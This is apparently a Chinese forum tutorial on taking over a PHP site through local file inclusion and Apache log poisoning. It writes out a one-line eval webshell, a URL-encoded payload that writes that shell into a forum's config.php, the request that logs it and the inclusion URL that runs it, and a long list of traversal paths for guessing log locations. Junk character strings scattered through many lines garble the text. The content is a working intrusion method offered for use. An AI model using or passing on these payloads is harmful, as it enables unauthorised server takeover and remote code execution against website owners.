php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

1 H2 S6 M# Q0 R6 ^到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
- p+ q6 W' [% {) Pfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
; ?- A5 J3 G/ O
5 D# H$ i- A% x6 R8 U/ w$ a<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
7 L( U1 ]' A/ O6 r8 Ifclose($fp);?>   //在config.php里写入一句木马语句
9 K5 T+ s) }! w
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
! H8 ]# n- Z) j& e0 L1 }转换为
- }: {' I& g0 D7 P+ C%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
: P; B% k9 w  O: G( w7 b. Uconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
# T1 o# m/ u6 z% _/ t我们提交
! O- U. p! ~, g* D& m1 R* [/ Hhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
( q  h8 i" L0 k# K$ \' p5 j
0 B/ F! W7 g2 Y这样就错误日志里就记录下了这行写入webshell的代码。
  e5 E! {0 a7 V% x! [/ G3 X1 c# C# T我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
- e. s" I( D, u) N+ f直接用lanker的客户端一连，主机就是你的了。
* c6 C& @1 u& a/ `6 x# S
, E4 j* u/ q, }, lPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

' e/ B. r$ L2 O' u其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
" s# z. ?, L2 }& H, s../../../../../../../../../../var/log/httpd/error_log
/ D8 C3 }0 C  h../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
. |" H) u2 c% N; b/ [4 C+ J../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
0 _( P7 A. I8 t, D../../../../../../../../../../etc/httpd/logs/acces.log
* @- L! C1 J0 @$ V/ ~7 {7 M8 S../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
- O; A4 P  h$ H' P" K../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
, k! e* ~( x4 u) c& y, _../../../../../../../../../../usr/local/apache/logs/access.log
4 C) G# _: U# l  j" e& v4 r../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
" h3 p8 x( Z4 r( R" h; a../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
5 y6 W: g, ^6 E( s../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
7 p/ p2 }- x; B1 j; J../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
: d: G' o+ y9 V9 P# L/var/log/httpd/access_log      
/var/log/httpd/error_log     
1 `" b3 u8 q9 @7 n' K1 p../apache/logs/error.log     
# U2 b8 x6 j, x" \3 A$ ]  ?) H4 O../apache/logs/access.log
' S9 p- e* T: i5 [' [: g' [../../apache/logs/error.log
../../apache/logs/access.log
6 [3 y; u" j7 y( d../../../apache/logs/error.log
" R) q7 e# K" T6 Z3 y6 n../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
$ l6 l% n$ F: U: n) C/var/www/logs/access_log
7 r; l% w9 B! L/var/www/logs/access.log
/usr/local/apache/logs/access_log
2 u, v( n/ _& r) M1 Z$ a' v, O/usr/local/apache/logs/access.log
* U. l% S* P3 ~& ?/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
2 q4 o6 f6 B! g& D5 I; \8 n/var/www/logs/error_log
  \5 Q4 H+ w- E1 f' ~/var/www/logs/error.log
+ |) v4 k) Z; w; E/usr/local/apache/logs/error_log
: ]; K, d6 H' W& F) f/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
7 @+ h. w* D7 `5 i" f1 |5 ]2 \/var/log/error_log